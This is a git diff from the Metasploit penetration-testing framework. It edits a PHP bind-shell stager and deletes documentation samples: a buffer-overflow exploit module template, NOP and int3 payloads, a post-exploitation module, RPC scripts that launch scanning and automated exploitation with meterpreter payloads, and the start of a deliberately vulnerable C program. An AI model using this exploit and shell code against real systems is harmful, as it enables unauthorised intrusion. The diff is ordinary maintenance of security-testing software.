"Parse error" - #puts "Error: #{link[0]}" end end + end + end diff --git a/data/php/bind_tcp.php b/data/php/bind_tcp.php index a92dfb864e..a987fd4b31 100755 --- a/data/php/bind_tcp.php +++ b/data/php/bind_tcp.php @@ -9,24 +9,27 @@ if (is_callable('stream_socket_server')) { $srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}"); if (!$srvsock) { die(); } $s = stream_socket_accept($srvsock, -1); + fclose($srvsock); $s_type = 'stream'; } elseif (is_callable('socket_create_listen')) { $srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP); if (!$res) { die(); } $s = socket_accept($srvsock); + socket_close($srvsock); $s_type = 'socket'; } elseif (is_callable('socket_create')) { $srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); $res = socket_bind($srvsock, $ipaddr, $port); if (!$res) { die(); } $s = socket_accept($srvsock); + socket_close($srvsock); $s_type = 'socket'; } else { die(); } if (!$s) { die(); } -switch ($s_type) { +switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } @@ -40,7 +43,7 @@ $len = $a['len']; $b = ''; while (strlen($b) < $len) { - switch ($s_type) { + switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } diff --git a/data/php/hop.php b/data/php/hop.php new file mode 100644 index 0000000000..c9f323657a --- /dev/null +++ b/data/php/hop.php @@ -0,0 +1,68 @@ + - - | - - html.gsub(/^\t\t/, '') - end - - - def on_request_uri(cli, request) - agent = request.headers['User-Agent'] - print_status("Requesting: #{request.uri}") - - target = get_target(agent) - if target.nil? - print_error("Browser not supported, sending 404: #{agent}") - send_not_found(cli) - return - end - - print_status("Target selected as: #{target.name}") - html = get_html(target) - send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' }) - end -end diff --git a/documentation/samples/modules/exploits/sample.rb b/documentation/samples/modules/exploits/sample.rb deleted file mode 100644 index 081020fcd3..0000000000 --- a/documentation/samples/modules/exploits/sample.rb +++ /dev/null @@ -1,85 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' - -### -# -# This exploit sample shows how an exploit module could be written to exploit -# a bug in an arbitrary TCP server. -# -### -class Metasploit4 < Msf::Exploit::Remote - - # - # This exploit affects TCP servers, so we use the TCP client mixin. - # - include Exploit::Remote::Tcp - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Sample Exploit', - 'Description' => %q{ - This exploit module illustrates how a vulnerability could be exploited - in an TCP server that has a parsing bug. - }, - 'License' => MSF_LICENSE, - 'Author' => ['skape'], - 'References' => - [ - ], - 'Payload' => - { - 'Space' => 1000, - 'BadChars' => "\x00", - }, - 'Targets' => - [ - # Target 0: Windows All - [ - 'Windows XP/Vista/7/8', - { - 'Platform' => 'win', - 'Ret' => 0x41424344 - } - ], - ], - 'DisclosureDate' => "Apr 1 2013", - 'DefaultTarget' => 0)) - end - - # - # The sample exploit just indicates that the remote host is always - # vulnerable. - # - def check - Exploit::CheckCode::Vulnerable - end - - # - # The exploit method connects to the remote service and sends 1024 random bytes - # followed by the fake return address and then the payload. - # - def exploit - connect - - print_status("Sending #{payload.encoded.length} byte payload...") - - # Build the buffer for transmission - buf = rand_text_alpha(1024) - buf << [ target.ret ].pack('V') - buf << payload.encoded - - # Send it off - sock.put(buf) - sock.get_once - - handler - end - -end - diff --git a/documentation/samples/modules/nops/sample.rb b/documentation/samples/modules/nops/sample.rb deleted file mode 100644 index d24a87808b..0000000000 --- a/documentation/samples/modules/nops/sample.rb +++ /dev/null @@ -1,34 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' - -### -# -# This class implements a very basic NOP sled generator that just returns a -# string of 0x90's. -# -### -class Metasploit4 < Msf::Nop - - def initialize - super( - 'Name' => 'Sample NOP Generator', - 'Description' => 'Sample single-byte NOP generator', - 'License' => MSF_LICENSE, - 'Author' => 'skape', - 'Arch' => ARCH_X86) - end - - # - # Returns a string of 0x90's for the supplied length. - # - def generate_sled(length, opts) - "\x90" * length - end - -end diff --git a/documentation/samples/modules/payloads/singles/sample.rb b/documentation/samples/modules/payloads/singles/sample.rb deleted file mode 100644 index c79123c90e..0000000000 --- a/documentation/samples/modules/payloads/singles/sample.rb +++ /dev/null @@ -1,34 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' - -### -# -# This sample payload is designed to trigger a debugger exception via int3. -# -### -module Metasploit4 - - include Msf::Payload::Single - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Debugger Trap', - 'Description' => 'Causes a debugger trap exception through int3', - 'License' => MSF_LICENSE, - 'Author' => 'skape', - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Payload' => - { - 'Payload' => "\xcc" - } - )) - end - -end diff --git a/documentation/samples/modules/post/sample.rb b/documentation/samples/modules/post/sample.rb deleted file mode 100644 index 2729ced0bd..0000000000 --- a/documentation/samples/modules/post/sample.rb +++ /dev/null @@ -1,40 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' -require 'msf/core/post/common' - -### -# -# This post module sample shows how we can execute a command on the compromised machine -# -### -class Metasploit4 < Msf::Post - - include Msf::Post::Common - - def initialize(info={}) - super(update_info(info, - 'Name' => 'Sample Post Module', - 'Description' => %q{Sample Post Module}, - 'License' => MSF_LICENSE, - 'Author' => [ 'sinn3r'], - 'Platform' => [ 'win'], - 'SessionTypes' => [ "shell", "meterpreter" ] - )) - end - - # - # This post module runs a ipconfig command and returns the output - # - def run - print_status("Executing ipconfig on remote machine") - o = cmd_exec("ipconfig") - print_line(o) - end - -end \ No newline at end of file diff --git a/documentation/samples/pro/msfrpc_pro_discover.rb b/documentation/samples/pro/msfrpc_pro_discover.rb deleted file mode 100644 index 0613440855..0000000000 --- a/documentation/samples/pro/msfrpc_pro_discover.rb +++ /dev/null @@ -1,207 +0,0 @@ -#!/usr/bin/env ruby -require 'rubygems' -require 'optparse' -require 'msfrpc-client' -require 'rex/ui' - -def usage(ropts) - $stderr.puts ropts - - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) -end - -opts = {} - -# Parse script-specific options -parser = Msf::RPC::Client.option_parser(opts) -parser.separator('Discover Mandatory Options:') - -parser.on("--project PROJECT") do |x| - opts[:project] = x -end - -parser.on("--targets TARGETS") do |x| - opts[:targets] = [x] -end - -parser.on("--blacklist BLACKLIST (optional)") do |x| - opts[:blacklist] = x -end - -parser.on("--speed SPEED (optional)") do |x| - opts[:speed] = x -end - -parser.on("--extra-ports PORTS (optional)") do |x| - opts[:extra_ports] = x -end - -parser.on("--blacklist-ports PORTS (optional)") do |x| - opts[:blacklist_ports] = x -end - -parser.on("--custom-ports PORTS (optional)") do |x| - opts[:custom_ports] = x -end - -parser.on("--portscan-timeout TIMEOUT (optional)") do |x| - opts[:portscan_timeout] = x -end - -parser.on("--source-port PORT (optional)") do |x| - opts[:source_port] = x -end - -parser.on("--custom-nmap-options OPTIONS (optional)") do |x| - opts[:custom_nmap_options] = x -end - -parser.on("--disable-udp-probes (optional)") do - opts[:disable_udp_probes] = true -end - -parser.on("--disable-finger-users (optional)") do - opts[:disable_finger_users] = true -end - -parser.on("--disable-snmp-scan (optional)") do - opts[:disable_snmp_scan] = true -end - -parser.on("--disable-service-identification (optional)") do - opts[:disable_service_identification] = true -end - -parser.on("--smb-user USER (optional)") do |x| - opts[:smb_user] = x -end - -parser.on("--smb-pass PASS (optional)") do |x| - opts[:smb_pass] = x -end - -parser.on("--smb-domain DOMAIN (optional)") do |x| - opts[:smb_domain] = x -end - -parser.on("--dry-run (optional)") do - opts[:dry_run] = true -end - -parser.on("--single-scan (optional)") do - opts[:single_scan] = true -end - -parser.on("--fast-detect (optional)") do - opts[:fast_detect] = true -end - -parser.on("--help") do - $stderr.puts parser - exit(1) -end - -parser.separator('') -parser.parse!(ARGV) - -@rpc = Msf::RPC::Client.new(opts) - -if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) -end - -# Provide default values for certain options - If there's no alternative set -# use the default provided by Pro -- see the documentation. -project = opts[:project] || usage(parser) -targets = opts[:targets] || usage(parser) -blacklist = opts[:blacklist] -speed = opts[:speed] || "5" -extra_ports = opts[:extra_ports] -blacklist_ports = opts[:blacklist_ports] -custom_ports = opts[:custom_ports] -portscan_timeout = opts[:portscan_timeout] || 300 -source_port = opts[:source_port] -custom_nmap_options = opts[:custom_nmap_options] || -disable_udp_probes = opts[:disable_udp_probes] || false -disable_finger_users = opts[:disable_finger_users] || false -disable_snmp_scan = opts[:disable_snmp_scan] || false -disable_service_identification = opts[:disable_service_identification] || false -smb_user = opts[:smb_user] || "" -smb_pass = opts[:smb_pass] || "" -smb_domain = opts[:smb_domain] || "" -single_scan = opts[:single_scan] || false -fast_detect = opts[:fast_detect] || false - -# Get the default user from Pro -user = @rpc.call("pro.default_admin_user")['username'] - -# Create the task object with all options -task = @rpc.call("pro.start_discover", { - 'workspace' => project, - 'username' => user, - 'ips' => targets, - 'DS_BLACKLIST_HOSTS' => blacklist, - 'DS_PORTSCAN_SPEED' => speed, - 'DS_PORTS_EXTRA' => extra_ports, - 'DS_PORTS_BLACKLIST' => blacklist_ports, - 'DS_PORTS_CUSTOM' => custom_ports, - 'DS_PORTSCAN_TIMEOUT' => portscan_timeout, - 'DS_PORTSCAN_SOURCE_PORT' => source_port, - 'DS_CustomNmap' => custom_nmap_options, - 'DS_UDP_PROBES' => disable_udp_probes, - 'DS_FINGER_USERS' => disable_finger_users, - 'DS_SNMP_SCAN' => disable_snmp_scan, - 'DS_IDENTIFY_SERVICES' => disable_service_identification, - 'DS_SMBUser' => smb_user, - 'DS_SMBPass' => smb_pass, - 'DS_SMBDomain' => smb_domain, - 'DS_SINGLE_SCAN' => single_scan, - 'DS_FAST_DETECT' => fast_detect -}) - -puts "DEBUG: Running task with #{task.inspect}" - -if not task['task_id'] - $stderr.puts "[-] Error starting the task: #{task.inspect}" - exit(0) -end - -puts "[*] Creating Task ID #{task['task_id']}..." -while true - select(nil, nil, nil, 0.50) - - stat = @rpc.call("pro.task_status", task['task_id']) - - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end - - info = stat[ task['task_id'] ] - - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end - - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end - - break if info['progress'] == 100 -end - -$stdout.puts "[+] Task Complete!" diff --git a/documentation/samples/pro/msfrpc_pro_exploit.rb b/documentation/samples/pro/msfrpc_pro_exploit.rb deleted file mode 100644 index c24dc1b8c6..0000000000 --- a/documentation/samples/pro/msfrpc_pro_exploit.rb +++ /dev/null @@ -1,225 +0,0 @@ -#!/usr/bin/env ruby -require 'rubygems' -require 'optparse' -require 'msfrpc-client' -require 'rex/ui' - -def usage(ropts) - $stderr.puts ropts - - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) -end - -opts = {} -opts[:blacklist] = '' -opts[:whitelist_ports] = '' -opts[:blacklist_ports] = '' -opts[:exploit_timeout] = 5 -opts[:limit_sessions] = true -opts[:ignore_fragile_devices] = true -opts[:filter_by_os] = true -opts[:only_match] = false -opts[:match_vulns] = true -opts[:match_ports] = true -opts[:payload_method] = "auto" -opts[:payload_type] = "meterpreter" -opts[:payload_ports] = "4000-5000" -opts[:evasion_level_tcp] = 0 -opts[:evasion_level_app] = 0 -opts[:module_filter] = '' - -# Parse script-specific options -parser = Msf::RPC::Client.option_parser(opts) -parser.separator('Exploit Specific Options:') - -parser.on("--project PROJECT") do |x| - opts[:project] = x -end - -parser.on("--targets TARGETS") do |x| - opts[:targets] = x -end - -parser.on("--speed SPEED") do |x| - opts[:speed] = x -end - -parser.on("--minimum-rank RANK") do |x| - opts[:rank] = x -end - -parser.on("--blacklist BLACKLIST (optional)") do |x| - opts[:blacklist] = x -end - -parser.on("--whitelist-ports PORTS (optional)") do |x| - opts[:whitelist_ports] = x -end - -parser.on("--blacklist-ports PORTS (optional)") do |x| - opts[:blacklist_ports] = x -end - -parser.on("--exploit-timeout TIMEOUT (optional)") do |x| - opts[:exploit_timeout] = x -end - -parser.on("--limit-sessions (optional)") do |x| - opts[:limit_sessions] = (x =~ /^(y|t|1)/i ? true : false ) -end - -parser.on("--ignore-fragile-devices (optional)") do |x| - opts[:ignore_fragile_devices] = (x =~ /^(y|t|1)/i ? true : false ) -end - -parser.on("--filter-by-os (optional)") do |x| - opts[:filter_by_os] = (x =~ /^(y|t|1)/i ? true : false ) -end - -parser.on("--dry-run (optional)") do |x| - opts[:only_match] = (x =~ /^(y|t|1)/i ? true : false ) -end - -parser.on("--match-vulns (optional)") do |x| - opts[:match_vulns] = (x =~ /^(y|t|1)/i ? true : false ) -end - -parser.on("--match-ports (optional)") do |x| - opts[:match_ports] = (x =~ /^(y|t|1)/i ? true : false ) -end - -parser.on("--payload-method AUTO|REVERSE|BIND (optional)") do |x| - opts[:payload_method] = x -end - -parser.on("--payload-type METERPRETER|SHELL (optional)") do |x| - opts[:payload_type] = x -end - -parser.on("--payload-ports PORTS (optional)") do |x| - opts[:payload_ports] = x -end - -parser.on("--evasion-level-tcp LEVEL (optional)") do |x| - opts[:evasion_level_tcp] = x -end - -parser.on("--evasion-level-app LEVEL (optional)") do |x| - opts[:evasion_level_app] = x -end - -parser.on("--module-filter FILTER (optional)") do |x| - opts[:module_filter] = x -end - -parser.on("--help") do - $stderr.puts parser - exit(1) -end - -parser.separator('') -parser.parse!(ARGV) - -@rpc = Msf::RPC::Client.new(opts) - -if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) -end - -# Store the user's settings -project = opts[:project] || usage(parser) -targets = opts[:targets] || usage(parser) -rank = opts[:rank] || usage(parser) -speed = opts[:speed] || usage(parser) -blacklist = opts[:blacklist] -whitelist_ports = opts[:whitelist_ports] -blacklist_ports = opts[:blacklist_ports] -exploit_timeout = opts[:exploit_timeout] -limit_sessions = opts[:limit_sessions] -ignore_fragile_devices = opts[:ignore_fragile_devices] -filter_by_os = opts[:filter_by_os] -only_match = opts[:only_match] -match_vulns = opts[:match_vulns] -match_ports = opts[:match_ports] -payload_method = opts[:payload_method] -payload_type = opts[:payload_type] -payload_ports = opts[:payload_ports] -evasion_level_tcp = opts[:evasion_level_tcp] -evasion_level_app = opts[:evasion_level_app] -module_filter = opts[:module_filter] -#=== - -# Get the default user -user = @rpc.call("pro.default_admin_user")['username'] - -# Create the task object with all options -task = @rpc.call("pro.start_exploit", { - 'workspace' => project, - 'username' => user, - 'DS_WHITELIST_HOSTS' => targets, - 'DS_BLACKLIST_HOSTS' => blacklist, - 'DS_WHITELIST_PORTS' => whitelist_ports, - 'DS_BLACKLIST_PORTS' => blacklist_ports, - 'DS_MinimumRank' => rank, - 'DS_EXPLOIT_SPEED' => speed, - 'DS_EXPLOIT_TIMEOUT' => exploit_timeout, - 'DS_LimitSessions' => limit_sessions, - 'DS_IgnoreFragileDevices' => ignore_fragile_devices, - 'DS_FilterByOS' => filter_by_os, - 'DS_OnlyMatch' => only_match, - 'DS_MATCH_VULNS' => match_vulns, - 'DS_MATCH_PORTS' => match_ports, - 'DS_PAYLOAD_METHOD' => payload_method, - 'DS_PAYLOAD_TYPE' => payload_type, - 'DS_PAYLOAD_PORTS' => payload_ports, - 'DS_EVASION_LEVEL_TCP' => evasion_level_tcp, - 'DS_EVASION_LEVEL_APP' => evasion_level_app, - 'DS_ModuleFilter' => module_filter -}) - -puts "DEBUG: Running task with #{task.inspect}" - -if not task['task_id'] - $stderr.puts "[-] Error starting the task: #{task.inspect}" - exit(0) -end - -puts "[*] Creating Task ID #{task['task_id']}..." -while true - select(nil, nil, nil, 0.50) - - stat = @rpc.call("pro.task_status", task['task_id']) - - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end - - info = stat[ task['task_id'] ] - - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end - - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end - - break if info['progress'] == 100 -end - -$stdout.puts "[+] Task Complete!" diff --git a/documentation/samples/pro/msfrpc_pro_import.rb b/documentation/samples/pro/msfrpc_pro_import.rb deleted file mode 100644 index b7c2c07604..0000000000 --- a/documentation/samples/pro/msfrpc_pro_import.rb +++ /dev/null @@ -1,91 +0,0 @@ -#!/usr/bin/env ruby -require 'rubygems' -require 'optparse' -require 'msfrpc-client' -require 'rex/ui' - -def usage(ropts) - $stderr.puts ropts - - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - exit(1) -end - -opts = {} - -# Parse script-specific options -parser = Msf::RPC::Client.option_parser(opts) -parser.separator('Task Options:') - -parser.on("--path PATH") do |path| - opts[:path] = path -end - -parser.on("--project PROJECT") do |project| - opts[:project] = project -end - -parser.on("--help") do - $stderr.puts parser - exit(1) -end -parser.separator('') - -parser.parse!(ARGV) -@rpc = Msf::RPC::Client.new(opts) - -if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) -end - -project = opts[:project] || usage(parser) -path = opts[:path] || usage(parser) -user = @rpc.call("pro.default_admin_user")['username'] -task = @rpc.call("pro.start_import", { - 'workspace' => project, - 'username' => user, - 'DS_PATH' => path -}) - -if not task['task_id'] - $stderr.puts "[-] Error starting the task: #{task.inspect}" - exit(0) -end - -puts "[*] Creating Task ID #{task['task_id']}..." -while true - select(nil, nil, nil, 0.50) - - stat = @rpc.call("pro.task_status", task['task_id']) - - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end - - info = stat[ task['task_id'] ] - - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end - - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end - - break if info['progress'] == 100 -end - -$stdout.puts "[+] Task Complete!" diff --git a/documentation/samples/pro/msfrpc_pro_nexpose.rb b/documentation/samples/pro/msfrpc_pro_nexpose.rb deleted file mode 100644 index 4f6e1cb963..0000000000 --- a/documentation/samples/pro/msfrpc_pro_nexpose.rb +++ /dev/null @@ -1,148 +0,0 @@ -#!/usr/bin/env ruby -require 'rubygems' -require 'optparse' -require 'msfrpc-client' -require 'rex/ui' - -def usage(ropts) - $stderr.puts ropts - - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) -end - -opts = {} - -# Parse script-specific options -parser = Msf::RPC::Client.option_parser(opts) -parser.separator('NeXpose Specific Options:') - -parser.on("--project PROJECT") do |x| - opts[:project] = x -end - -parser.on("--targets TARGETS") do |x| - opts[:targets] = [x] -end - -parser.on("--nexpose-host HOST") do |x| - opts[:nexpose_host] = x -end - -parser.on("--nexpose-user USER") do |x| - opts[:nexpose_user] = x -end - -parser.on("--nexpose-pass PASSWORD") do |x| - opts[:nexpose_pass] = x -end - -parser.on("--nexpose-pass-file PATH") do |x| - opts[:nexpose_pass_file] = x -end - -parser.on("--scan-template TEMPLATE (optional)") do |x| - opts[:scan_template] = x -end - -parser.on("--nexpose-port PORT (optional)") do |x| - opts[:nexpose_port] = x -end - -parser.on("--blacklist BLACKLIST (optional)") do |x| - opts[:blacklist] = x -end - -parser.on("--help") do - $stderr.puts parser - exit(1) -end - -parser.separator('') -parser.parse!(ARGV) - -@rpc = Msf::RPC::Client.new(opts) - -if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) -end - -# Get the password from the file -if opts[:nexpose_pass_file] - nexpose_pass = File.open(opts[:nexpose_pass_file],"r").read.chomp! -else - nexpose_pass = opts[:nexpose_pass] || usage(parser) -end - -# Store the user's settings -project = opts[:project] || usage(parser), -targets = opts[:targets] || usage(parser), -blacklist = opts[:blacklist], -nexpose_host = opts[:nexpose_host] || usage(parser), -nexpose_port = opts[:nexpose_port] || "3780", -nexpose_user = opts[:nexpose_user] || "nxadmin" -scan_template = opts[:scan_template] || "pentest-audit" - -# Get the default user -user = @rpc.call("pro.default_admin_user")['username'] - -options = { - 'workspace' => project, - 'username' => user, - 'DS_WHITELIST_HOSTS' => targets, - 'DS_NEXPOSE_HOST' => nexpose_host, - 'DS_NEXPOSE_PORT' => nexpose_port, - 'DS_NEXPOSE_USER' => nexpose_user, - 'nexpose_pass' => nexpose_pass, - 'DS_SCAN_TEMPLATE' => scan_template -} - -puts "DEBUG: Running task with #{options}" - -# Create the task object with all options -task = @rpc.call("pro.start_exploit", options) - - -if not task['task_id'] - $stderr.puts "[-] Error starting the task: #{task.inspect}" - exit(0) -end - -puts "[*] Creating Task ID #{task['task_id']}..." -while true - select(nil, nil, nil, 0.50) - - stat = @rpc.call("pro.task_status", task['task_id']) - - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end - - info = stat[ task['task_id'] ] - - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end - - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end - - break if info['progress'] == 100 -end - -$stdout.puts "[+] Task Complete!" diff --git a/documentation/samples/pro/msfrpc_pro_report.rb b/documentation/samples/pro/msfrpc_pro_report.rb deleted file mode 100644 index 6095a8d7bb..0000000000 --- a/documentation/samples/pro/msfrpc_pro_report.rb +++ /dev/null @@ -1,126 +0,0 @@ -#!/usr/bin/env ruby - -require 'rubygems' -require 'optparse' -require 'msfrpc-client' -require 'rex/ui' - -def usage(ropts) - $stderr.puts ropts - - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) -end - -opts = { - :format => 'PDF' -} - -parser = Msf::RPC::Client.option_parser(opts) - -parser.separator('Report Options:') -parser.on("--format FORMAT") do |v| - opts[:format] = v.upcase -end - -parser.on("--project PROJECT") do |v| - opts[:project] = v -end - -parser.on("--output OUTFILE") do |v| - opts[:output] = v -end - -parser.on("--help") do - $stderr.puts parser - exit(1) -end -parser.separator('') - -parser.parse!(ARGV) -@rpc = Msf::RPC::Client.new(opts) - -if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) -end - -project = opts[:project] || usage(parser) -fname = opts[:output] || usage(parser) -rtype = opts[:format] -user = @rpc.call("pro.default_admin_user")['username'] - -task = @rpc.call("pro.start_report", { - 'DS_WHITELIST_HOSTS' => "", - 'DS_BLACKLIST_HOSTS' => "", - 'workspace' => project, - 'username' => user, - 'DS_MaskPasswords' => false, - 'DS_IncludeTaskLog' => false, - 'DS_JasperDisplaySession' => true, - 'DS_JasperDisplayCharts' => true, - 'DS_LootExcludeScreenshots' => false, - 'DS_LootExcludePasswords' => false, - 'DS_JasperTemplate' => "msfxv3.jrxml", - 'DS_REPORT_TYPE' => rtype.upcase, - 'DS_UseJasper' => true, - 'DS_UseCustomReporting' => true, - 'DS_JasperProductName' => "Metasploit Pro", - 'DS_JasperDbEnv' => "production", - 'DS_JasperLogo' => '', - 'DS_JasperDisplaySections' => "1,2,3,4,5,6,7,8", - 'DS_EnablePCIReport' => true, - 'DS_EnableFISMAReport' => true, - 'DS_JasperDisplayWeb' => true, -}) - - -if not task['task_id'] - $stderr.puts "[-] Error generating the report: #{task.inspect}" - exit(0) -end - -puts "[*] Report is generating with Task ID #{task['task_id']}..." -while true - select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end - - info = stat[ task['task_id'] ] - - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end - - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end - - break if info['progress'] == 100 -end - -report = @rpc.call('pro.report_download_by_task', task['task_id']) -if report and report['data'] - ::File.open(fname, "wb") do |fd| - fd.write(report['data']) - end - $stderr.puts "[-] Report saved to #{::File.expand_path(fname)}" -else - $stderr.puts "[-] Error downloading report: #{report.inspect}" -end - diff --git a/documentation/samples/scripts/meterpreter_script_template.rb b/documentation/samples/scripts/meterpreter_script_template.rb deleted file mode 100644 index ee2affd11d..0000000000 --- a/documentation/samples/scripts/meterpreter_script_template.rb +++ /dev/null @@ -1,43 +0,0 @@ -# $Id$ -# $Revision$ -# Author: -#------------------------------------------------------------------------------- -################## Variable Declarations ################## - -@client = client -sample_option_var = nil -@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-o" => [ true , "Option that requieres a value"] - ) -meter_type = client.platform - -################## Function Declarations ################## - -# Usage Message Function -#------------------------------------------------------------------------------- -def usage - print_line "Meterpreter Script for INSERT PURPOSE." - print_line(@exec_opts.usage) - raise Rex::Script::Completed -end - -# Wrong Meterpreter Version Message Function -#------------------------------------------------------------------------------- -def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end - -################## Main ################## -@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-o" - sample_option_var = val - end -} - -# Check for Version of Meterpreter -wrong_meter_version(meter_type) if meter_type !~ /win32|win64|java|php|linux/i # Remove none supported versions diff --git a/documentation/samples/scripts/resource_script.rb b/documentation/samples/scripts/resource_script.rb deleted file mode 100644 index 8eedf949e5..0000000000 --- a/documentation/samples/scripts/resource_script.rb +++ /dev/null @@ -1,132 +0,0 @@ - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -# -# Put your 'require' here -# - -# -# RC files currently have no 'modinfo' like a real Metasploit module, so this help message -# will have to do the trick for now. -# -def help - msg = %Q| - Description: - Let's describe what this RC script is all about, plus anything the user should know before - actually using it. - - Usage: - msfconsole -r - - Options: - - I'm sure you already know - - Username for the database (datastore: 'DB_USER') - - Password for the database (datastore: 'DB_PASS') - - Workspace for the database (datastore: 'DB_WORKSPACE') - - Argument 1 (datastore: 'ARG1') - - Authors: - sinn3r - | - - msg = msg.gsub(/^\t/, '') - print_line(msg) -end - - -# -# See if we're already connected -# -def is_db_active? - begin - framework.db.hosts - return true - rescue ::ActiveRecord::ConnectionNotEstablished - return false - end -end - - -# -# Initialize the database. -# Default to localhost:5432, as this is the default configuration suggested by the manual. -# -def init_db(username, password, workspace) - db = "localhost:5432" - print_status("Opening #{workspace} at #{db}") - run_single("db_connect #{username}:#{password}@#{db}/#{workspace}") -end - - -# -# Initialize the argumets here -# -def init_args - args = {} - - joint = ARGV.join('') - if joint =~ /^help$/i - args[:help] = true - return args - end - - # Add more arguments according to your help() function - datastore = framework.datastore - args[:db_user] = ARGV.shift || datastore['DB_USER'] || '' - args[:db_pass] = ARGV.shift || datastore['DB_PASS'] || '' - args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || '' - args[:arg1] = ARGV.shift || datastore['ARG1'] || '' - - if not is_db_active? - if args[:db_user].empty? or args[:db_pass].empty? or args[:db_workspace].empty? - raise ArgumentError, "Need DB_USER, DB_PASS, and DB_WORKSPACE" - end - end - - raise ArgumentError, "Need ARG1" if args[:arg1].empty? - - return args -end - - -# -# This is your main function -# -def main(args) - print_status("Initialzation is done, and here's your input: #{args[:arg1]}") -end - - -# -# Below initializes the arguments and database -# -begin - args = init_args - if args[:help] - help - return - end - - init_db(args[:db_user], args[:db_pass], args[:db_workspace]) if not is_db_active? - main(args) - -rescue ArgumentError => e - print_error("Bad argument(s): #{e.message}") - return - -rescue RuntimeError => e - # Any runtime error should be raised as "RuntimeError" - print_error(e.message) - return - -rescue ::Exception => e - # Whatever unknown exception occurs, we raise it - raise e -end - - \ No newline at end of file diff --git a/documentation/samples/vulnapps/exploitme-posix/Makefile b/documentation/samples/vulnapps/exploitme-posix/Makefile deleted file mode 100644 index c3b43ca2e1..0000000000 --- a/documentation/samples/vulnapps/exploitme-posix/Makefile +++ /dev/null @@ -1,5 +0,0 @@ -all: exploitmel -exploitmel: exploitme-posix.c - gcc -W -Wall $< -o $@ -clean: - rm exploitmel diff --git a/documentation/samples/vulnapps/exploitme-posix/exploitme-posix.c b/documentation/samples/vulnapps/exploitme-posix/exploitme-posix.c deleted file mode 100644 index 83483d712a..0000000000 --- a/documentation/samples/vulnapps/exploitme-posix/exploitme-posix.c +++ /dev/null @@ -1,105 +0,0 @@ -/* exploitme coded in a hurry by Yoann Guillot and Julien Tinnes, used 'man 